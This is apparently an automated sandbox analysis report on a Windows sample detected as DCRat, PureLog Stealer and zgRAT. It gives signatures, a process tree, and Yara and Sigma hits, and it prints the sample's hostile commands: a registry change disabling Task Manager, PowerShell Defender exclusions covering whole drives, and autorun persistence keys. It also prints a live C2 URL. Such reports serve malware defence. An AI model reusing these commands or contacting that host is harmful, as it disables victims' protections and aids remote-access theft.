Edit tour

Windows Analysis Report
wxl1r0lntg.exe

Overview

General Information

Sample name:	wxl1r0lntg.exe renamed because original name is a hash value
Original sample name:	55672946ffc3fa0b0c7670bf37d45225.exe
Analysis ID:	1586066
MD5:	55672946ffc3fa0b0c7670bf37d45225
SHA1:	669cba1aad9659aeff1a94b584b0e7ad3acb7c79
SHA256:	386878a415d3edac8530e3b99769b40759bd105e3758b2c68887440e8890ee55
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains suspicious base64 encoded strings

.NET source code contains very large strings

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Creates an autostart registry key pointing to binary in C:\Windows

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Disable Task Manager(disabletaskmgr)

Disables the Windows task manager (taskmgr)

Drops executables to the windows directory (C:\Windows) and starts them

Infects executable files (exe, dll, sys, html)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Tries to harvest and steal browser information (history, passwords, etc)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for available system drives (often done to infect USB drives)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Compiles C# or VB.Net code

Contains functionality for read data from the clipboard

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to get notified if a device is plugged in / out

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Installs a raw input device (often for capturing keystrokes)

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: New Custom Shim Database Created

Sigma detected: Powershell Defender Exclusion

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wxl1r0lntg.exe (PID: 6156 cmdline: "C:\Users\user\Desktop\wxl1r0lntg.exe" MD5: 55672946FFC3FA0B0C7670BF37D45225)

sqls211.exe (PID: 1084 cmdline: "C:\Users\user\AppData\Local\Temp\sqls211.exe" MD5: A79959F25EDA4401D0F5E7B370D6C613)

wscript.exe (PID: 4144 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 1576 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2PE3PxTrTQg.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 5020 cmdline: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

containerwebruntime.exe (PID: 2300 cmdline: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

csc.exe (PID: 4696 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xwmh3iv5\xwmh3iv5.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 2172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 6464 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAD56.tmp" "c:\Program Files (x86)\Microsoft\Edge\Application\CSCCB61929627DF440F9E17C549CE99168.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 3552 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 1680 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 1888 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESAFE6.tmp" "c:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

csc.exe (PID: 1672 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pgfcrwpp\pgfcrwpp.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

conhost.exe (PID: 5604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cvtres.exe (PID: 1812 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESB66E.tmp" "c:\Program Files\Everything\CSCA17046CBF8B64A188168A4AB380809F.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 3868 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7612 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 6584 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 432 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3856 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2072 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5776 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6360 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5800 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7160 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6476 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1732 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3720 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1124 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4408 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2232 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5668 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\apppatch\CustomSDB\sihost.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5528 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\RuntimeBroker.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 5576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5228 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1532 cmdline: "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7752 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\KDhudFNWvk.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 8396 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 8760 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 9188 cmdline: "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

drivEn760.exe (PID: 4788 cmdline: "C:\Users\user\AppData\Local\Temp\drivEn760.exe" MD5: 5036E609163E98F3AC06D5E82B677DF8)

Everything.exe (PID: 6576 cmdline: "C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe" -install "C:\Program Files\Everything" -install-options " -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0" MD5: 0170601E27117E9639851A969240B959)

Everything.exe (PID: 5840 cmdline: "C:\Program Files\Everything\Everything.exe" -app-data -install-run-on-system-startup -install-service -disable-run-as-admin -uninstall-folder-context-menu -install-start-menu-shortcuts -install-desktop-shortcut -uninstall-url-protocol -install-efu-association -install-language 1033 -save-install-options 0 MD5: 0170601E27117E9639851A969240B959)

Everything.exe (PID: 5456 cmdline: "C:\Program Files\Everything\Everything.exe" -disable-update-notification -uninstall-quick-launch-shortcut -no-choose-volumes -language 1033 MD5: 0170601E27117E9639851A969240B959)

Everything.exe (PID: 2504 cmdline: "C:\Program Files\Everything\Everything.exe" MD5: 0170601E27117E9639851A969240B959)

Everything.exe (PID: 2520 cmdline: "C:\Program Files\Everything\Everything.exe" -svc MD5: 0170601E27117E9639851A969240B959)

Everything.exe (PID: 7868 cmdline: "C:\Program Files\Everything\Everything.exe" -startup MD5: 0E5995C0475E4E57F7A6B3FA6E790ABD)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 8200 cmdline: "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

Everything.exe.exe (PID: 8220 cmdline: "C:\Program Files\Everything\Everything.exe.exe" -startup MD5: 0170601E27117E9639851A969240B959)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 8980 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

svchost.exe (PID: 8584 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

sihost.exe (PID: 9088 cmdline: "C:\Windows\apppatch\CustomSDB\sihost.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

containerwebruntime.exe (PID: 6348 cmdline: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 6640 cmdline: "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 6820 cmdline: "C:\Program Files (x86)\windows nt\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

sihost.exe (PID: 9120 cmdline: "C:\Windows\apppatch\CustomSDB\sihost.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe (PID: 1880 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe" MD5: 77967721CE1C8B3F0EB800BD33527897)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: DCRat

{"C2 url": "http://838596cm.nyafka.top/lineLongpolllinuxFlowercentraluploads", "MUTEX": "DCR_MUTEX-D9v2NJXg7O8XLMbKG3IO", "Params": {"0": "{SYSTEMDRIVE}/Users/", "1": "false", "2": "false", "3": "true", "4": "true", "5": "true", "6": "true", "7": "false", "8": "true", "9": "true", "10": "true", "11": "true", "12": "true", "13": "true", "14": "true"}}

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Recovery\RuntimeBroker.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Recovery\RuntimeBroker.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\apppatch\CustomSDB\sihost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Windows\apppatch\CustomSDB\sihost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\apppatch\CustomSDB\sihost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Windows\apppatch\CustomSDB\sihost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\sqls211.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\sqls211.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2626614280.000000001267C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
0000000E.00000000.2267598724.0000000000122000.00000002.00000001.01000000.00000013.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000002.00000003.2041272436.00000000064C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.2052298255.00000000145C9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000002.00000003.2043048725.0000000004D43000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: containerwebruntime.exe PID: 2300	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.wxl1r0lntg.exe.146dbdbd.2.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.wxl1r0lntg.exe.146dbdbd.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.sqls211.exe.650f71e.0.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.sqls211.exe.650f71e.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.0.containerwebruntime.exe.120000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
14.0.containerwebruntime.exe.120000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.sqls211.exe.4d9171e.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.sqls211.exe.4d9171e.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
2.3.sqls211.exe.650f71e.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
2.3.sqls211.exe.650f71e.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.wxl1r0lntg.exe.146dbdbd.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.2.wxl1r0lntg.exe.1468d6b8.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Click to see the 9 entries

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ProcessId: 2300, TargetFilename: C:\Recovery\RuntimeBroker.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet/containerwebruntime.exe", ParentImage: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ParentProcessId: 2300, ParentProcessName: containerwebruntime.exe, ProcessCommandLine: "powershell" -Command Add-MpPreference -ExclusionPath 'C:/', ProcessId: 3868, ProcessName: powershell.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Windows\apppatch\CustomSDB\sihost.exe" , CommandLine: "C:\Windows\apppatch\CustomSDB\sihost.exe" , CommandLine|base64offset|contains: , Image: C:\Windows\apppatch\CustomSDB\sihost.exe, NewProcessName: C:\Windows\apppatch\CustomSDB\sihost.exe, OriginalFileName: C:\Windows\apppatch\CustomSDB\sihost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\apppatch\CustomSDB\sihost.exe" , ProcessId: 9088, ProcessName: sihost.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\sqls211.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\sqls211.exe, ParentProcessId: 1084, ParentProcessName: sqls211.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\2zt0n56bOhbwB2KzszETxYw2RuinHOyyQibCEaRYFawepzaxIU2GKt.vbe" , ProcessId: 4144, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ProcessId: 2300, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KocFkUIHAfhPoyuBQDEUMiWWSPCixy

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe, ProcessId: 2300, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

